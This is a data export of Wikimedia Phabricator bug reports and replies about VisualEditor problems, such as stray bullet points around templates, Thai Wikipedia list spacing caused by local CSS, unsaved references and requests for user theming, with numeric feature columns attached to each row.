+257652,VisualEditor: Undoing a larger cut restores selection incorrectly,This was fixed in the selection re-writes.,,,1385398843,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-idjdigelfjcuvhcx24zy,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+54374,Stray bullet points around template and strange editing around them,"Screenshot: 2 extra bullet points & template content edited
+
+Browser: Firefox 24
+
+When editing this page[1] on sv-wp two weird things happen:
+
+1) The bullet point on the bottom of the page duplicates into three bullet points
+
+I expect it to show one bullet point, like when viewing the article.
+
+
+2) I can edit the text of the template used in the list[2], though when I check the diff, it hasn't detected that I edited the template text
+
+I expect the text of the template to show a blue background when clicking on it and *not* be editable.
+
+
+[1]  https://sv.wikipedia.org/w/index.php?title=Byrackorna&oldid=22981861
+[2]  https://sv.wikipedia.org/wiki/Mall:IMDb-titel
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/User:Skalman/bullet_point_test
+
+**Attached**: {F11912}",Needs Triage,90.0,1375345320,1468195329.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,PHID-USER-xqqqgn2dels45flxw5kb,False,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_description,duplicate,True,c1,3,False,False,False,4,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+255600,Stray bullet points around template and strange editing around them,"This is a known tidy issue, so marking as a duplicate.
+
+*** This bug has been marked as a duplicate of bug 47673 ***",,,1386112687,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+255598,Stray bullet points around template and strange editing around them,"This is a duplicate of a Parsoid bug that has been WONTFIX'ed, I believe (but I can't find right now) - Gabriel, can you remember which one?
+
+(In reply to comment #4)
+> FWIW, even Special:ExpandTemplates seems to be affected by this bug!
+
+… which is a sign that you're abusing wikitext, and should stop trying to get this to work. :-) Special:ExpandTemplates has nothing to do with VisualEditor or Parsoid.",,,1379849577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+255595,Stray bullet points around template and strange editing around them,"I believe I found the root cause - demonstrated by a minimal test case: https://www.mediawiki.org/wiki/User:Skalman/bullet_point_test
+
+Wikitext of template:
+* {{{1}}}
+
+Wikitext of page:
+* {{template|Hello there}}
+
+Expected output (the way the traditional parser handles it):
+* Hello there
+
+Note that a naive wikitext template expander would produce:
+* * Hello there
+
+To me, this now seems to be a problem with the data model.
+
+
+FWIW, even Special:ExpandTemplates seems to be affected by this bug!",,,1375486433,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1
+255589,Stray bullet points around template and strange editing around them,Reproduced in Chrome 28 and Opera 12.16.,,,1375394665,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+255583,Stray bullet points around template and strange editing around them,"And further weirdness:
+
+When I add the text 'ABC' to the first of the now three bullet points I get the following wikitext:
+
+* {{IMDb-titel|id=0105928}}ABC
+* ''[ackorna''' (originaltitel ''2 Stupid Byrackorna]'' på [[Internet Movie Database]] <span style=""font-size:.95em;font-weight:bold;color:#555;"">(engelska)</span>
+*",,,1375345880,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+255577,Stray bullet points around template and strange editing around them,This is probably a ContentEditable problem.,,,1375345435,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-xylt7ym6cdzsnco3r3ty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+54364,drag and drop for text,"Request to introduce drag and drop for text passages; there are also bugs for images around (obviously).
+
+Report:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121095343#Drag_.26_Drop_von_Textabschnitten
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1375319220,1375319436.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-vs6adtg7gilhg5r2g74x,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254818,drag and drop for text,"There's already bug 49981 for drag-and-drop of content in general; I don't think this is sufficiently different (drag-and-drop of text is not sufficiently distinct from drag-and-drop of non-text to be worth splitting out), so merging.
+
+*** This bug has been marked as a duplicate of bug 49981 ***",,,1375319436,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vs6adtg7gilhg5r2g74x,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+54307,Contents of pre-existing transclusion saved to article adjacent to transclusion,"https://pl.wikipedia.org/w/index.php?title=Octan_etylu&curid=217010&diff=37144425&oldid=37144363
+
+This may be a template that got subst'd in VisualEditor.  It produces this text:
+
+ <div class=""do-not-make-smaller refsection references-column-count references-1column"">
+ <references />
+ </div>
+
+Something sensible ought to be done with this, but I'm not sure what the right answer is.  (Yes, that's in English, even though it's not an English-language project.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375232040,1393528114.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-qwinndvqnthzbul47nb3,task_description,declined,True,c1,3,False,False,False,4,,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+251756,Contents of pre-existing transclusion saved to article adjacent to transclusion,I believe all these issues were fixed months ago (sorry for very slow triage).,,,1393528114,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qwinndvqnthzbul47nb3,task_subcomment,,True,c1,3,True,,,34,,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+251750,Contents of pre-existing transclusion saved to article adjacent to transclusion,"That's the contents of the {{Przypisy}} template. It looks like they ""spilled out"". Parsoid issue?",,,1378424053,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-qwinndvqnthzbul47nb3,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+54291,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"Image of issue
+
+Upon loading VE in Thai wikipedia in an article with a bulleted list, spaces are added after bullets in the edit view.  Attempts to remove the spaces remove the preceding bullet.  Spaces are not added upon Save, but will lead to confusion for editors.
+
+Duplicated in FF, Chrome.  Ubuntu, OS 10.6.8
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11736}",Needs Triage,90.0,1375213740,1415880871.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ifh6gryuu6hee6pcadvb,task_description,invalid,True,c1,3,False,False,False,4,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+250586,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"This is because the Thai Wikipedia has this CSS in its Common.css:
+
+| /* A request by octahedron80 19:13, 7 ธันวาคม 2554 (ICT) */
+| .mw-content-ltr dd, .mw-content-rtl .mw-content-ltr dd {
+|     margin-left: 2.5em;
+| }
+| .mw-content-ltr ul, .mw-content-rtl .mw-content-ltr ul {
+|     margin-left: 2.5em;
+| }
+| .mw-content-ltr ol, .mw-content-rtl .mw-content-ltr ol {
+|     margin-left: 2.5em;
+| }
+
+There's no justification for it beyond who requested it, so I can't judge whether the purpose it serves is sufficient, but it's deliberate.
+
+As this is based on local wiki configuration, marking as INVALID.",,,1415880871,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+250577,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"**KaewWiki** wrote:
+
+(In reply to comment #0)
+> Created attachment 13022 [details]
+> Image of issue
+> 
+> Upon loading VE in Thai wikipedia in an article with a bulleted list, spaces
+> are added after bullets in the edit view.  Attempts to remove the spaces
+> remove
+> the preceding bullet.  Spaces are not added upon Save, but will lead to
+> confusion for editors.
+> 
+> Duplicated in FF, Chrome.  Ubuntu, OS 10.6.8
+
+Also in the same image, at the end of reference section
+(in Thai {{รายการอ้างอิง}}) and immediately before {{stub}} (in Thai
+{{โครงกฎหมาย}}), VE displayed additional blank line where it should
+not do so.
+
+**Attached**: {F11736}",,,1385522381,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+250569,VisualEditor: Editing surface displays non-existent spaces after bullet points in Thai Wikipedia,"Example page on th.wp:
+https://th.wikipedia.org/wiki/กฎหมายปิดปาก?veaction=edit
+
+I can't reproduce this with Thai text on en.wp. See for example https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=575310209&veaction=edit",,,1380645842,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ifh6gryuu6hee6pcadvb,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+54285,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"link target takes over media settings dialog
+
+If text has a size specified, e.g <font size=12>, then you cannot edit it in VE at present. The bar that notifies you of this is fixed to standard line height so you can click on links that extend above or beyond this, e.g. <font size=12>text with a [[link]]</font>.
+
+If such a link appears in body text, then clicking it takes you to the link target in the same window (i.e. exactly the same as if you clicked on it in read mode). If you ctrl+click to open in a new window/tab then you get the same behaviour as described for section links in bug 51122.
+
+If such a link appears in an image caption, then ctrl+clicking has the same effect as in the paragraph above/bug 51122. Left clicking does take you to the linked page, but instead of using the main window it uses the media settings dialog's frame (see screenshot). You cannot close this frame - the close button has been replaced by the link target and it doesn't respond to escape.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11727}",Needs Triage,90.0,1375209840,1385396898.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-aowfgq4eh3wcjsqyftty,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+250209,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"This has the same root cause as bug 51778, despite the names; merging.
+
+*** This bug has been marked as a duplicate of bug 51778 ***",,,1385396898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+250200,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,Cryptic C62 and en.wp has noted that he can replicate this in Firefox 22 and Chrome 28 running on Windows Vista. Both they and I use the monobook skin.,,,1375227469,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+250194,VisualEditor: Following links in image captions that have a large <font size=> value takes over media settings dialog which can't then be closed,"Steps to reproduce:
+
+1. Edit https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=566460073#New_section in VE
+2. Click on the last image and open the media settings dialog
+3. Left click the link above the ""can only edit in source"" bar.
+
+This happens in Firefox 22 on Linux, I can't test in other browsers/OSes.",,,1375210111,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aowfgq4eh3wcjsqyftty,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+54270,VisualEditor should be themeable by the user with custom CSS,"A user at en.wp comments that VisualEditor looks best in the Vector skin, but that it would be better if ""manual CSS theming"" were supported.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1375182720,1384864881.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_description,declined,True,c1,3,False,False,False,4,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+249376,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:
+
+I understand you expect folks to either 1) look into having existing themes change the VisualEditor appearance to fit their style, or 2) to look into using CSS. As the latter is not user-friendly for non-technical users I will look into the former. Thank you.",,,1384945365,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+249373,VisualEditor should be themeable by the user with custom CSS,"(In reply to comment #8)
+> [...] when the rest of MediaWiki is designed to be consistent.
+
+:-)",,,1384871317,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+249371,VisualEditor should be themeable by the user with custom CSS,"(In reply to comment #5)
+> My original query was in making different styles available for an average
+> user, who has no CSS experience.
+
+Then that's a question for MediaWiki core, not VisualEditor; VisualEditor just inherits its styling from MediaWiki.
+
+Certainly, we are not going to build a custom-styling tool just for VisualEditor when the rest of MediaWiki is designed to be consistent.",,,1384864881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+249368,VisualEditor should be themeable by the user with custom CSS,"Hey James,
+I am reopening this to understand whether Gryllida's concerns can/should be addressed, and because the user understands, from the logs of a recent office hour, that you welcome feedback from users about this topic. Gryllida is asking for a set of themes for the Toolbar from which the user can choose the one he/she wants (and provided examples in comment #2).
+
+Other users instead were hoping that graphic solutions that are now possible by changing one's CSS are made more easily accessible in VE itself. I for one am not really good at editing my CSS page, but I could easily check a box that lets me choose a different background color that makes it more obvious when I'm VEditing (and would gladly do so).
+
+So there are probably 2 different requests here, and I can split them if one of them can be worked on.
+Thanks :)",,,1383834351,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,18,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+249365,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:
+
+Elitre, please file a new bug, my query you pasted does not belong here.",,,1383293007,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+249360,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:
+
+My original query was in making different styles available for an average user, who has no CSS experience.",,,1383292738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+249355,VisualEditor should be themeable by the user with custom CSS,"I'm entirely unsure what this is asking for. VE already inherits users' CSS, which lets people change the CSS as they see fit - as John Broughton's script shows.
+
+Marking as ""INVALID"", but happy to re-open if people can explain what different from the above this is asking for.",,,1383282685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,True,,,17,,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+249352,VisualEditor should be themeable by the user with custom CSS,"An example of how users might want to change the way they see VE:
+https://en.wikipedia.org/wiki/User:John_Broughton/common.css
+(an easier way to set a background color for VE is being requested).",,,1382972546,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+249348,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:
+
+( Illustrations: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=570246873#Toolbar_icons_style )",,,1377514974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+249344,VisualEditor should be themeable by the user with custom CSS,"Gryllida adds,
+<<To be quite honest, the first thing that I see wrong in the visual editor is the black-and-white style of icons, similar to what Google products uses. It is not 1980s when everything was black-and-white, nor it is 1990s when people used 256-color icons; it is 2013. [...] I believe it is important for accessibility to at least let users choose from a set of themes for the VisualEditor toolbar, if not alter the default theme.>>",,,1377427418,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,7,,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,1
+54269,VisualEditor: References not saved,"References 5-8 were not saved
+
+At https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566402676&oldid=566401436 only four of the 8 references I added were saved.
+
+The second references for each statement had the same title as the first but were a different URL. They appeared in the editor as being there (see attachment) but were silently not saved.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+
+**Attached**: {F11698}",Needs Triage,90.0,1375179540,1376325366.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-juxrg4k7aci5xpwlvsaq,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+249314,VisualEditor: References not saved,"I can't reproduce this now, so it seems likely this was a duplicate of now-fixed Bug 52228
+
+*** This bug has been marked as a duplicate of bug 52228 ***",,,1376325366,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-juxrg4k7aci5xpwlvsaq,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
